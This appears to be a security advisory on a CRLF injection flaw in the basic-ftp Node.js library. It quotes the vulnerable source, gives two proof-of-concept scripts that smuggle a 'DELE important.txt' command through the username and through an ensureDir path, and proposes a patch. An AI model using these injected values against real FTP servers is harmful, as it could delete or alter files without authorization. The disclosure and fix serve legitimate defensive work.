basic-ftp: Incomplete CRLF Injection Protection Allows Arbitrary FTP Command Execution via Credentials and MKD Commands

// src/Client.ts:216-231
login(user = "anonymous", password = "guest"): Promise<FTPResponse> {
    this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`)
    return this.ftp.handle("USER " + user, (res, task) => {  // Line 218: no validation on `user`
        // ...
        else if (res.code === 331) {
            this.ftp.send("PASS " + password)  // Line 226: no validation on `password`
        }
    })
}

// src/FtpContext.ts:223-227
send(command: string) {
    // ...
    this._socket.write(command + "\r\n", this.encoding)
}

// src/Client.ts:745-748
protected async _openDir(dirName: string) {
    await this.sendIgnoringError("MKD " + dirName)  // Line 746: sent BEFORE validation
    await this.cd(dirName)                           // Line 747: protectWhitespace() called here — too late
}

const ftp = require("basic-ftp");

async function exploit() {
    const client = new ftp.Client();
    client.ftp.verbose = true;

    // Connect to target FTP server
    await client.access({
        host: "target-ftp-server",
        port: 21,
        // Username contains CRLF + injected DELE command
        user: "anonymous\r\nDELE important.txt",
        password: "guest"
    });
    // Server receives on the wire:
    //   USER anonymous\r\n
    //   DELE important.txt\r\n
    //   PASS guest\r\n
    // The DELE command executes before PASS is processed

    client.close();
}

exploit();

const ftp = require("basic-ftp");

async function exploit() {
    const client = new ftp.Client();
    client.ftp.verbose = true;

    await client.access({
        host: "target-ftp-server",
        user: "anonymous",
        password: "guest"
    });

    // Path fragment with CRLF — MKD is sent before cd() validates
    try {
        await client.ensureDir("test\r\nDELE important.txt/subdir");
    } catch (e) {
        // cd() throws after protectWhitespace() rejects, but MKD + DELE already sent
    }
    // Server received:
    //   MKD test\r\n
    //   DELE important.txt\r\n
    //   CWD test\r\n  <-- this may fail, but damage is done

    client.close();
}

exploit();

// src/Client.ts:216
login(user = "anonymous", password = "guest"): Promise<FTPResponse> {
    if (/[\r\n\0]/.test(user) || /[\r\n\0]/.test(password)) {
        return Promise.reject(new Error("Invalid credentials: Contains control characters"));
    }
    this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`)
    return this.ftp.handle("USER " + user, (res, task) => {
        // ... rest unchanged
    })
}

// src/Client.ts:745
protected async _openDir(dirName: string) {
    if (/[\r\n\0]/.test(dirName)) {
        throw new Error("Invalid path: Contains control characters");
    }
    await this.sendIgnoringError("MKD " + dirName)
    await this.cd(dirName)
}